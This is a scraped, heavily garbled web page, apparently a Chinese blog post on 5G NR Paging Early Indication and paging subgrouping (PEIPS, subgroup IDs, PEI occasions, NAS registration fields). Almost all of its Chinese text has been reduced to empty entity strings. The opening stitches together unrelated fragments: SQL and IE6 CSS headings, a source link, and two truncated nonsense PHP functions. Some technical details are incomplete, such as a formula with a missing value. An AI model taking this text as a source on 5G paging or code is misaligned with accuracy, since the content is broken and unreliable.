&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;update&#;&#;&#;

SQL&#;&#;&#;&#;

&#;&#;&#;&#;&#;,&#;&#;SQL&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;Explain&#;&#;&#;&#;&#;SQL&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

SQL&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;SQL&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;SQL&#;&#;&#;&#;&#;&#;&#;&#;

function girlsafety()

{

for($vL=0;$vL

IE6&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;IE6&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;IE6&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;:http://www.51texiao.cn/div_cssjiaocheng/2015/0501/499.html

function mt_randbaroffer($givesuccess)

{

for($iN=0;$iN

出处:http://www.hzhcontrols.com/

原文:http://www.hzhcontrols.com/new-.html

本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利

&#;&#;PEI&#;&#;&#;&#;&#;&#;&#;&#;UE&#;&#;&#;idle&#;&#;inactive state&#;&#;&#;&#;&#;&#;,&#;&#;38.304 DRX&#;&#;&#;UE&#;&#;&#;&#;&#;&#;&#;PO&#;&#;&#;P-RNTI&#;&#;&#;DCI,deocde paging,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;paging&#;&#;,UE&#;&#;&#;&#;&#;&#;paging,&#;&#;&#;&#;&#;false paging alarms&#;&#;&#;,&#;&#;&#;&#;&#;&#;log&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,R17&#;&#;PEI,&#;&#;&#;UE&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;PEI occasion&#;PO&#;&#;,&#;&#;UE&#;&#;&#;&#;subgroup&#;PEI &#;&#;&#;paging&#;&#;&#;,UE&#;&#;&#;&#;&#;PO decode paging,&#;&#;UE&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;R17 PEI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

1e844498e36e4c8ab7a3fb909c38435f.png

&#;PEI&#;&#;&#;&#;&#;&#;UE&#;&#;&#;PO&#;&#;&#;&#;UE&#;&#;&#;&#;&#;&#;incoming paging&#;indication,&#;&#;&#;&#;paging&#;&#;,UE&#;&#;&#;&#;&#;&#;PEI&#;,&#;&#;&#;&#;&#;&#;&#;decode&#;&#;&#;PO,&#;&#;&#;&#;saving power&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;PEI&#;&#;&#;&#;PO,&#;&#;PEI&#;&#;&#;&#;UE&#;&#;&#;&#;&#;&#;&#;PO&#;decode paging,&#;&#;&#;&#;

5d4f1b566e974b539969c69e747f8d51.png

&#;&#;&#;NR paging&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;NR paging&#;&#;&#;&#;,NR paging&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;,&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;PEI &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;UE&#;&#;,&#;&#;&#;PEI&#;UE&#;PO &#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;PEI&#;&#;PO&#;&#;&#;,&#;&#;&#;&#;subgroup ID&#;&#;UE&#;&#;SI&#;&#;&#;&#;&#;&#;&#;&#;&#;;&#;UE&#;&#;&#;&#;&#;&#;&#;&#;subgroup ID,&#;&#;&#;&#;RRC&#;&#;&#;&#;&#;&#;&#;PEI occasion(PEI-O),&#;&#;&#;PEI-O&#;decode DCI 2_7,&#;&#;subgourp ID&#;RRC&#;&#;&#;,&#;&#;DCI 2_7 PEI field&#;&#;,&#;&#;&#;&#;UE&#;&#;&#;&#;&#;&#;&#;PO decode paging&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;,subgroup ID&#;&#;&#;,PEI occasion&#;&#;&#;&#;DCI 2_7&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;spec&#;&#;&#;&#;&#;

&#;&#;

b2cf6be807824ecb985bd5f808deabec.png

&#;&#;&#;UE&#;&#;false paging alarms &#;&#;&#;&#;power consumption,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PO&#;UE group&#;&#;&#;&#;subgroups&#;

&#;&#;UE&#;&#;&#;&#;&#;subgroup &#;&#;paging early Indication&#;&#;&#;&#;&#;&#;paging&#;&#;&#;,UE&#;&#;&#;&#;PO&#;&#;&#;PDCCH,&#;&#;UE&#;&#;&#;&#;PEI&#;&#;&#;&#;&#;&#;&#;subgroup ID&#;&#;UE&#;&#;&#;&#;&#;PO&#;&#;&#;PEI occasion,UE&#;&#;&#;&#;&#;DRX&#;&#;&#;&#;PO&#;&#;paging&#;

UE&#;&#;&#;RRC_IDLE&#;RRC_INACTIVE&#;&#;&#;&#;&#;PEI&#;&#;&#;&#;&#;&#; &#;&#;SI&#;&#;&#;&#;PEI&#;&#;,&#;&#;&#;RRC_IDLE&#;RRC_INACTIVE&#;&#;&#;&#;&#;PEI&#;UE(&#;&#;&#;&#;&#;&#;&#;&#;&#;UE&#;&#;)&#;&#;&#;&#;&#;SI&#;&#;PEI&#;&#;&#;&#;PEI&#;

3ffad007470347cc980645e4585d4bb9.png

subgroup&#;&#;&#;&#;&#;&#;:

1 subgroup&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#; CN &#;&#;&#;subgroup&#;&#;&#; UE ID&#;&#;&#;subgroup;

2 &#;&#;AMF&#;&#;&#;&#;CN controlled subgroup ID,&#;&#;&#;&#;&#;UE ID based &#;subgroup(UE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;);

3 RRC idle&#;Inactive state&#;&#;&#;&#;UE &#;&#;&#;subgroup,&#;UE&#;&#;&#;subgroup ID &#;idle&#;Inactive state&#;&#;&#;&#;&#;&#;;

4 &#;&#;&#;&#;&#;SI &#;&#;&#;&#;&#;cell&#;&#;&#;&#;subgroup&#;&#;:&#;&#;&#;&#;&#;CN controlled subgrouping,&#;&#;&#;&#;UE ID based subgrouping,&#;&#;&#;&#;&#;&#;&#;&#;&#;

5 &#;&#;Cell&#;&#;&#;&#;subgroup&#;&#;&#;8&#;,&#;8&#;&#;&#;&#;&#;CN controlled&#;UE ID based subgroup&#;&#;&#;&#;

6 &#;&#;cell&#;&#;CN controlled subgrouping,UE&#;&#;&#;CN controlled subgroup ID,&#;&#;&#;CN controlled subgroup ID;&#;&#;&#;&#;,Cell&#;&#;&#;UE ID based subgrouping,UE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;UE ID based subgroup ID&#;

3aadfedc147b4f88bdf0ad2cf537ce1a.png

subgroup&#;&#;&#;PEI&#;&#;&#;&#;&#;&#;:

&#;&#;UE&#;&#;PEI&#;&#;,&#;UE&#;&#;&#;&#;&#;&#;&#;&#;UE ID&#;subgrouping&#;&#;;

1 &#;&#;&#;&#;&#;&#;&#;&#;&#; PEI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;UE&#;&#;&#;&#; RRCRelease &#;&#;&#;&#;noLastCellUpdate IE&#;&#;&#;);

2 PEI-capable UE &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;;

3 &#;&#; PEI &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; gNB &#;&#;&#;NG-AP UE &#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#; AMF &#;&#; UE &#;&#;&#;&#;&#;&#;&#;&#;&#;(PEI-capable UE);

4 &#;&#;MBS gourp notification&#;&#;&#;&#;PEI,UE&#;&#; PO &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;1&#;&#;&#;&#;IE&#;&#;&#;&#;&#;:

5106ea49672049ffa55d733f97eb090b.png

noLastCellUpdate:&#;IE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; PEI &#;&#;&#; &#;&#;IE&#;&#;&#;&#;, PEI-capable UE &#;&#;&#;&#;&#;&#;&#;&#;&#;last used cell,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#; AS security&#;&#;&#;,UE &#;&#;&#;&#;&#;&#;&#;&#;&#;

lastUsedCellOnly:&#;&#;IE&#;&#;&#;,&#;&#;UE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;RRCRelease&#;&#;&#;&#;&#;noLastCellUpdate&#;,&#;&#;&#;&#;PEI;PEI-capable UE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;cell&#;&#;SI&#;&#;&#;lastUsedCellOnly,&#;&#; UE &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; noLastCellUpdate IE&#; RRRCRelease &#;,UE &#;&#;&#;&#;&#;&#;&#;&#; PEI;&#;SI&#;&#;&#;&#;&#;LastUsedCellOnly&#;, &#;&#;&#;&#;&#;DRX&#;&#;&#;&#;&#;&#;&#;&#;PEI&#;

cd4303b734fc4ca880178d04ea07125b.png

&#;&#;UE&#;&#;&#;PEI&#;sungrouping&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PO&#;UE&#;&#;&#;&#;&#;&#;&#;subgroups&#; &#;&#;&#;&#;,&#;&#;UE&#;&#;PEI&#;&#;,&#;&#;&#;&#;&#;subgroup&#;&#;&#;bit =1,&#;UE&#;&#;&#;&#;&#;&#;&#;&#;PO&#;

subgrouping&#;&#;&#;

&#;&#;&#;&#;&#;,subgourp&#;&#;&#;,&#;&#;&#;CN controlledsubgrouping&#;UE ID based subgrouping,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;

954b20f23bc640209f840b94d5314852.png

CN controlledsubgrouping:&#;&#; CN controlled subgrouping,AMF &#;&#;&#; UE &#;&#;sungroup ID&#; &#;&#;&#;&#; CN Controlled subgrouping &#;&#;&#;&#;&#;&#;&#;,&#;&#; OAM &#;&#;&#; 8&#; CN controlled subgrouping&#;&#;&#;&#;&#; &#;&#;&#;RNA&#;&#;&#;&#;&#;&#;

UE ID based subgrouping:&#;&#;UE ID based subgrouping,gNB&#;UE&#;&#;&#;&#;UE ID based subgroup&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;UE ID based subgroup&#;&#;&#;UE ID based subgroup&#;&#;&#;gNB&#;&#;,&#;&#;&#;&#;&#;UE ID based subgroup&#;&#;&#;&#;&#;&#;&#;

f84ed5a8e703416f898d00cced0f0867.png

RAN&#;UE&#;&#;&#;&#;&#;Paging Early Indication with Paging Subgrouping(PEIPS)&#;feature&#;&#;&#;&#;UE&#;NR idle&#;Inactive&#;power consumption&#;

paging subgrouping&#;&#;&#;&#;UE temporary ID&#;&#;&#;&#;Paging Subgroup ID&#;&#;&#;&#;&#;

&#;&#;UE temporary ID &#;paging subgrouping&#;&#;NG-RAN &#;&#;&#;&#; &#;&#;&#;&#;UE temporary ID &#;paging subgrouping,UE&#;&#;&#;&#;paging subgroup&#;&#;&#;&#;&#;&#;&#;UE paging radio capability&#;,&#;&#;&#;paging subgrouping ID&#;NG-RAN&#;&#;UE&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#; UE &#;&#;&#;&#; ID&#;&#;(&#;&#;RACS&#;) &#;

b4f31df2af484239ba5871afacff7e91.png

AMF&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#; gNB&#;&#;&#;&#;&#;&#;&#;&#;UE temporary ID&#;paging subgrouping,&#;&#;&#;&#;&#;gNB &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; UE temporary ID &#;paging subgrouping UE &#;&#;&#;&#;

&#;&#;paging subgroups&#; AMF &#;&#;,&#;&#;&#;&#;&#;&#; gNB &#;&#;&#;AMF(&#;&#;&#;&#;5G MOCN &#;&#;&#;&#;&#;&#;&#; PLMN &#;&#; AMF)&#;&#; UE &#;&#;&#;paging subgroup&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; AMF &#;&#;&#;&#;&#;&#; 8 &#;&#;&#;&#;paging subgroup ID&#;&#;&#;UE&#;TAI &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; AMF &#;&#;&#;paging subgroup,&#;&#;&#;&#;&#;overlap TAI list&#;&#;&#;&#;&#;&#;&#;&#; UE,&#;&#;&#;&#;&#;&#;UE&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;overlap&#;&#;&#;&#;&#;AMF&#;&#;UE&#;&#;&#;paging subgroup&#;&#;&#;&#;&#;&#;&#;&#;&#;

68c2d816d99d45518bc87bede24fb93a.png

&#;&#;&#;&#;Paging Early Indication with Paging Subgrouping(PEIPS),AMF &#; NG-RAN&#;&#;&#;Paging Subgrouping Support Indication&#;PEIPS Assistance Information&#;&#;&#;&#;&#; PEIPS &#;&#;&#;&#;&#; UE &#;&#;&#;&#; UE &#;&#;&#;paging subgroup&#;

&#;&#;&#;&#;Registration Request&#;&#;&#;,&#;&#;Paging Subgrouping Support Indication&#;&#;UE&#;&#;&#;&#;&#;&#;AMF PEIPS Assistance Information&#;PEIPS&#; &#;&#; UE &#;&#;Paging Subgrouping Support Indication,&#; UE &#;&#;&#;&#;&#;paging probability information&#;&#;&#;AMF&#;&#;&#;AMF&#;&#;PEIPS&#;&#;&#;&#;UE&#;&#;&#;Paging Subgrouping Support Indication,&#;AMF&#;&#;&#;&#;&#;Indication&#;&#;&#; AMF &#;&#; UE context&#;&#;AMF&#;&#;&#;&#;&#;&#;&#;&#;&#;UE &#;paging probability information(&#;&#;&#;&#;)&#;RAN &#;&#;&#;&#;&#;(&#;&#;&#;&#;&#;&#;&#;&#;&#; RAN &#;&#;&#;&#;&#;&#;&#;&#;&#;)&#;/&#;&#;&#; UE &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; AMF PEIPS Assistance Information&#; AMF PEIPS Assistance Information&#;&#;paging subgroup ID&#;

&#;&#;,&#;&#;&#;&#;&#; MT &#;&#;&#;&#;&#;&#;&#;&#;,AMF &#;&#;&#;&#;paging subgroup ID,&#;&#;&#;&#; UE &#;&#;&#;&#;&#;&#; IMS over PS session&#;&#;&#;&#;&#;&#;&#;&#;&#; UE &#; MT Traffic&#;&#;&#;&#;&#;&#; UE &#;&#;&#;,AMF &#;&#;&#;&#;paging subgroup ID,&#;&#;&#;&#; UE &#;&#;&#;&#;&#;&#;

b6d0c7d9ebf74431b5c1e0b8de75d95c.png

AMF&#;&#;UE&#; AMF PEIPS Assistance Information&#;,&#;&#;&#;&#;&#;&#;AMF&#;&#;UE context&#;&#;&#;&#;&#;&#;Registration Accept&#;&#;&#;&#;&#;&#;UE&#;

AMF&#;&#;UE&#; AMF PEIPS Assistance Information&#;,&#;&#;NG RAN&#;paging UE,&#;AMF&#;&#;&#;AMF PEIPS Assistance Information&#;&#;&#;NG RAN&#;&#;&#;&#;&#;,&#;&#;&#;&#;RRC Inactive mode &#;UE&#; PEIPS,AMF&#;&#;AMF PEIPS Assistance Information&#;&#;&#;NG RAN&#;&#;&#;&#;RRC Inactive Assistance Information&#;&#;&#;&#;&#;

d7766920c0ec4f5e867873651f743428.png

NG-RAN&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; PEIPS &#;&#;&#;&#;&#;&#;&#;&#;paging subgrouping&#;&#;&#; &#;&#;&#; AMF &#;&#;&#;subgroup&#;,UE&#;NG-RAN &#;&#;&#; AMF PEIPS Assistance Information&#;&#;&#;&#;&#;&#;&#;paging subgroup&#;AMF &#;&#;&#;&#; UE &#;&#;&#;&#;&#;&#;&#; N2 UE &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;UE &#; NG-RAN &#;&#; AMF PEIPS Assistance Information &#;

&#; UE&#;&#;&#;emergency PDU seesion&#;: UE &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Paging Subgrouping Support Indication&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;CN controlled subgrouping&#;&#;&#;

CN controlled subgrouping

a52a504a93bd4d28aeaa90fa7c933fd5.png

CN controlled subgrouping &#;&#;&#;&#;&#;:

1 UE &#;&#;REGISTRATION REQUEST&#;&#;NR-PSSI,&#;&#;AMF&#;&#;&#;&#;CN controlled subgrouping;

2 &#;&#;UE&#;&#;CN controlled subgrouping,AMF&#;&#;&#;&#;&#;&#;&#;UE&#;subgroup ID;

3 AMF &#;&#;&#;REGISTRATION ACCEPT&#;&#;Negotiated PEIPS assistance information IE&#;&#;UE &#;&#;&#;subgroup ID;

4 &#;&#;AMF&#;&#;&#;UE&#;IDLE &#;INACTIVE mode &#;subgroup ID&#;&#;gNB;

5 &#;gNB&#;&#;&#;&#;CN &#;UE&#;&#;&#;pagging message&#;&#;gNB&#;&#;&#;UE &#;paging message,&#;gNB&#;&#;&#;UE &#;&#;&#;&#;PO &#;&#;&#;&#;PEI occasion

6 &#; PO &#;&#; UE &#;&#;,gNB &#;&#;&#;&#;&#;PEI &#;&#;&#;&#;UE&#;&#;&#;subgroup&#;&#;&#;&#;&#;PO&#;&#;paging&#;

&#;&#;&#;&#;&#;&#;&#;NAS &#;&#;&#;&#;&#;&#;&#;&#;24.501&#;23.501&#;,&#;&#;:

d306e625431c42709fdda1057f648822.png

REGISTRATION REQUEST&#;&#;registration type IE&#;&#;"emergency registration"&#;,&#;&#;UE&#;&#;PEIPS assistance information,&#;&#;&#;5GMM capability IE&#;&#;NR-PSSI bit&#;&#;&#;"NR paging subgrouping supported" ,&#;NR-PSSI=1;&#;&#;UE &#;NR-PSSI=1,&#;&#;&#;&#;&#;Request PEIPS assistance information IE&#;&#;&#;UE paging probability information&#;

c44af01073fd437dbe0438f86adfff90.pngf934dc4f56f945ea8e43a43ce5fba4bb.png

&#;&#;UE&#;REGISTRATION REQUEST&#;&#;NR-PSSI&#;&#;&#;1,&#;AMF&#;&#;&#;&#;&#;&#;&#;PEIPS assistance information,UE&#;&#;&#;&#;&#;emergency services &#;initial registration&#;&#;&#;active&#;emergency PDU session,AMF&#;&#;&#;&#;UE &#;Paging subgroup ID,&#;&#;&#;&#;&#;&#;&#;UE &#;5GMM context&#;,&#;&#;&#;REGISTRATION ACCEPT&#;&#;Negotiated PEIPS assistance information IE&#;&#;&#;UE&#;&#;&#;Paging subgroup ID(value 0~7)&#;

Negotiated PEIPS assistance information IE&#;&#;&#;&#;&#;

05af797c013b444cb31d4275400c391b.png

769c611cac20450bba06979b40343b9e.png

UE&#;&#;PEIPS assistance information&#;UE&#;&#;&#;&#;&#;emergency services &#;initial registration&#;&#;&#;active&#;emergency PDU session,UE&#;&#;&#;Registration request &#;&#;5GMM capability IE&#;&#;NR-PSSI&#;&#;1 &#;"NR paging subgrouping supported" ;&#;&#;&#;&#;,UE&#;&#;&#;&#;&#;&#;&#;UE paging probability information&#;&#;&#;&#;&#;Registration request&#;&#;Request PEIPS assistance information,&#;&#;&#;&#;&#;&#;

ce91c95f4c8e467785868428cf7c210f.png

b3217e4eefeb4d97a984c131d0dec0a1.png

UE&#;REGISTRATION REQUEST &#;NR-PSSI&#;&#;1&#;,AMF&#;&#;&#;&#;feature&#;&#;&#;UE&#;PEIPS assistance information,AMF&#;&#;&#;&#;UE&#;Paging subgroup ID,&#;&#;&#;&#;UE&#;5GMM context&#;,&#;&#;&#;&#;&#;&#;REGISTRATION ACCEPT&#;&#;Negotiated PEIPS assistance information IE&#;,&#;&#;&#;UE;&#;&#;&#;&#;,AMF&#;&#;&#;&#;CONFIGURATION UPDATE COMMAND&#;&#;&#;PEIPS assistance information IE;&#;AMF&#;&#;UE &#;Paging subgroup ID&#;,&#;&#;&#;&#;&#;&#;UE REGISTRATION REQUEST&#;&#;&#;&#;&#;UE paging probability information&#;

&#;&#;&#;&#;&#;UE ID based subgrouping&#;&#;&#;

UE ID based subgrouping

67edad66f82f455d8d73fdb448368568.png

1 gNB&#;&#;&#;&#;cell&#;UE ID based subgrouping &#;subgroup&#;&#;;

2 gNB&#;&#;&#;&#;&#;&#;&#;&#;UE ID based subgrouping &#;&#;;

3 UE &#;&#;&#;cell&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;subgroup;

4 &#;gNB&#;&#;&#;&#;CN &#;PEI cabpable UE&#;&#;pagging message&#;&#;gNB&#;&#;&#;UE &#;paging message,&#;gNB&#;&#;&#;UE &#;&#;&#;&#;PO &#;&#;&#;&#;PEI occasion;

5 &#;PO&#;&#;UE&#;&#;,gNB&#;&#;&#;&#;&#;PEI ,&#;&#;PEI&#;&#;UE &#;&#;&#;&#;&#;PO&#;&#;paging&#;

f5dce9ef03204d528f4fbe9f55ce56dc.png

&#;&#;&#;&#;&#;RRC&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;SIB1&#;&#;&#;subgroup&#;&#;,&#;&#;IE&#;&#;&#;&#;&#;:

subgroupNumPerPO:UE &#;&#;&#;&#;&#;&#;&#;&#;&#;subgroups indication&#;&#;&#;&#;&#;&#;&#;&#;&#; (PO) &#;subgourps&#;&#;&#; &#;IE&#;&#;&#;&#;&#;&#;&#;CN-assigned&#;UEID-based&#;subgroups&#;&#;&#;&#; &#;&#; PEI-Config &#;,&#;&#;&#;&#;&#;&#;&#;&#;subgroup(&#;&#; UEID &#; CN-assigned&#;subgroup)&#;

subgroupNumForUEID:&#;&#;UEID-based&#;subgroup&#;&#;&#;&#;,UE &#;&#;&#;&#;&#;&#;&#;&#;&#;subgroups indication&#;&#;&#;&#;&#;&#;&#;&#;&#; (PO) &#;subgourps&#;&#;&#; &#;&#;&#;IE&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; subgroupsNumPerPO &#;&#;&#;&#; &#;&#;&#;&#;&#;&#; CN-assigned subgrouping&#;,subgroupsNumPerPO &#;&#;&#;subgroupsNumForUEID&#; &#;&#;&#;&#;&#;&#; CN-assgined subgrouping&#;,&#;&#;&#;&#;&#;&#;IE&#; &#;&#;&#;&#;&#;&#;subgrouping&#;,&#;IE&#; subgroupsNumPerPO &#;&#;&#;&#; 1&#;

b03b19b0ee30439d951bc7afa56a2f7e.png

&#;&#;&#;&#;&#;,UE&#;subgroup&#;&#;&#;CN assign&#;&#;&#;&#;&#;UE-ID&#;&#;&#;&#;,&#;&#;subgroup&#;&#;&#;&#;&#;&#;&#;:

1 &#;&#;&#;&#;subgroupNumForUEID,&#;&#;&#;&#;&#;&#;&#;&#;CN assigned subgrouping,UE&#;&#;&#;&#;CN assigned subgroup ID,&#;UE&#;&#;&#;CN assigned subgroup ID;

2 &#;&#;subgroupNumForUEID&#;subgroupNumPerPO&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;UE&#;&#;&#;&#;CN assigned subgroup ID&#;&#;&#;&#;&#;CN assigned subgroup ID,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;UE ID based subgrouping,&#;UE&#;&#;&#;&#;&#;&#;&#;&#;subgroup ID,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;;

3 &#;&#;subgroupNumForUEID&#;subgroupNumPerPO&#;&#;&#;&#;,&#;subgroupNumForUEID

b8393fabc93244499293fc03ba55766f.png

&#;&#;&#;&#;UE_ID based subgourp ID&#;&#;&#;&#;&#;:

&#;&#;UE&#;&#;&#;&#;CN assigned subgroup ID&#;&#;&#;&#;&#;CN assigned subgroup ID,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;UE ID based subgrouping,&#;UE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;subgroup ID:

SubgroupID=(floor(UE_ID/(N*Ns)) mod subgroupsNumforUEID)+(subgroupNumPerPO - subgroupsNumForUEID)

T: &#;UE &#;DRX &#;&#;,T &#;&#;UE specific DRX&#; SIB1 &#;&#;DRX&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;UE specific DRX &#;&#;&#;&#;&#;&#;default value,&#;&#;&#;&#;SIB1 &#;&#;&#;&#;defaultPagingCycle&#;

N :&#;&#;DRX &#;&#;&#;&#;&#;&#;PF &#; ,&#;RRC &#;&#;&#;&#;nAndPagingFrameOffset &#;&#;&#;

Ns :1&#;PF&#;&#;PO &#;&#;

UE_ID :5G-S-TMSI mode X,&#;&#;eDRX&#;,X=,&#;&#;&#;&#;&#;&#;X=8192&#;

subgroupsNumForUEID: &#;SI&#;&#;&#;IE,&#;&#;UE_ID based subgrouping &#;&#;&#;PO&#;&#;subgroup&#;&#;&#;

UE&#;&#;&#;&#;&#;&#;&#;&#;&#;SubgroupID &#;&#;&#;PEI&#;&#;,PEI&#;&#;&#;&#;UE&#;&#;subgroup &#;&#;&#;&#;&#;&#;&#;PO&#;&#;paging&#;

&#;&#;,UE&#;&#;subgroup ID&#;,&#;&#;&#;&#;PEI&#;&#;,&#;PEI occasion&#;&#;&#;PEI,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PO&#;&#;&#;paging,&#;PEI-O&#;&#;&#;&#;?

PEI occasion(PEI-O)

1767499196894e648f4beacd93975e25.png

&#;&#;PEI occasion,&#;&#;DRX cycle&#;&#;&#;&#;&#;PEI occasion,&#;&#;PEI occasion(PEI-O)&#;&#;&#;&#;&#;&#;&#;&#;PDCCH &#;&#;&#;&#;,&#;&#;PEI occasion&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;multi-beam &#;&#;&#;,&#;&#;&#;PEI&#;&#;&#;&#;&#;beams&#;&#;&#;&#;&#;,&#;&#;UE&#;&#;&#;&#;beam&#;&#;,&#;&#;&#;&#;PEI&#;&#;&#;&#;

51e2974b3624486bb06cf090579efb17.png

PEI-O &#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

1 &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#; PEI-O &#;&#;&#; PF &#;&#;&#;&#; PF &#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;SIB1&#;&#;pei-FrameOffset&#;&#;&#;

2 &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; PEI-O &#;&#;&#;&#; PDCCH MO &#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;offset&#; SIB1 &#;&#; firstPDCCH-MonitoringOccasionOfPEI-O &#;&#;&#;

